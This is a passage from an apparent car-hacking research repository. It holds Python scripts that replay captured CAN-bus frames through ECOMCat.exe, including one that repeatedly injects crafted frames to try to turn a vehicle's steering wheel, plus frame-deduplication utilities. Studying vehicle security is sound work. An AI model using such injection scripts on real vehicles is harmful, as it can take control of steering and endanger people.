call 2 | filename = "drive_twitch.dat" 3 | 4 | print(f"Sending data from {filename}") 5 | 6 | lines = [] 7 | f = open(filename, "r") 8 | for line in f: 9 | print(f"Calling Ecomcat {line}") 10 | call(["Ecomcat.exe", "\"" + line + "\""]) 11 | #print "Hit enter to continue" 12 | #yesno = raw_input("Hit enter to continue") 13 | 14 | -------------------------------------------------------------------------------- /code/scripts/try_to_turn_wheel.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from subprocess import call 3 | from SFF import SFFMessage 4 | 5 | 6 | pos = 0x4e6b 7 | step_time = "2000" 8 | 9 | beg_line = "DH: 00, IDL: 81, Len: 08, Data: " 10 | end_line = " 01 00 00 00 00 00 ,TS: 63,BAUD: 1" 11 | 12 | while True: 13 | pos = pos - 0x20 14 | high = (pos & 0xff00) >> 8 15 | low = pos & 0xff 16 | middle = "%02X %02X" % (high, low) 17 | 18 | line = beg_line + middle + end_line 19 | 20 | print(middle) 21 | line = "\"" + line + "\"" 22 | call(["ECOMCat.exe", line, step_time]) 23 | #print ["ECOMCat.exe", line, 5000] 24 | 25 | -------------------------------------------------------------------------------- /code/scripts/unique_frames.py: -------------------------------------------------------------------------------- 1 | import sys, getopt 2 | from SFF import SFFMessage 3 | 4 | verbose = True 5 | outputfile = "" 6 | optlist, args = getopt.getopt(sys.argv[1:], ':o:') 7 | if(len(args) < 1): 8 | print("Usage: %s [options] ") 9 | print("options:") 10 | print(" -o ") 11 | sys.exit(1) 12 | 13 | for o,a in optlist: 14 | if o == "-o": 15 | outputfile = a 16 | 17 | inputfile = args[0] 18 | with open(inputfile, "r") as fp: 19 | unique_msgs = [] 20 | total = 0 21 | 22 | for line in fp: 23 | msg = SFFMessage(line) 24 | total = total + 1 25 | if msg not in unique_msgs: 26 | unique_msgs.append(msg) 27 | print("File had %d lines and %d were unique" % (total, len(unique_msgs))) 28 | 29 | if(outputfile != ""): 30 | fp = open(outputfile, "w") 31 | 32 | for msg in unique_msgs: 33 | print(msg) 34 | 35 | if(outputfile != ""): 36 | fp.write(str(msg) + '\n') 37 | fp.close() 38 | -------------------------------------------------------------------------------- /code/scripts/unique_id_len.py: -------------------------------------------------------------------------------- 1 | import sys, getopt 2 | from SFF import SFFMessage 3 | 4 | if __name__ == "__main__": 5 | 6 | input_file = "" 7 | output_file = "" 8 | 9 | optlist, args = getopt.getopt(sys.argv[1:], ':o:') 10 | if(len(args) < 1): 11 | print("Usage: %s [options] ") 12 | print("options:") 13 | print(" -o ") 14 | sys.exit(1) 15 | 16 | for o, a in optlist: 17 | if o == "-o": 18 | output_file = a 19 | 20 | input_file = args[0] 21 | 22 | with open(input_file, "r") as fp: 23 | id_len_matches = [] 24 | 25 | for line in fp: 26 | sff_msg = SFFMessage(line) 27 | 28 | uniq = f"{sff_msg.wid}:{sff_msg.len}" 29 | 30 | if (uniq not in id_len_matches): 31 | id_len_matches.append(uniq) 32 | if(output_file != ""): 33 | fp = open(output_file, "w") 34 | 35 | found_str = "Found %d unique ID and Len matches" % (len(id_len_matches)) 36 | print(found_str) 37 | if(output_file != ""): 38 | fp.write(found_str + '\n') 39 | 40 | for item in id_len_matches: 41 | combo = item.split(':') 42 | found_id_str = f"ID: {combo[0]} Len: {combo[1]}" 43 | print(found_id_str) 44 | 45 | if(output_file != ""): 46 | fp.write(found_id_str + '\n') 47 | 48 | 49 | 50 | -------------------------------------------------------------------------------- /remote attack surfaces.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/remote attack surfaces.pdf --------------------------------------------------------------------------------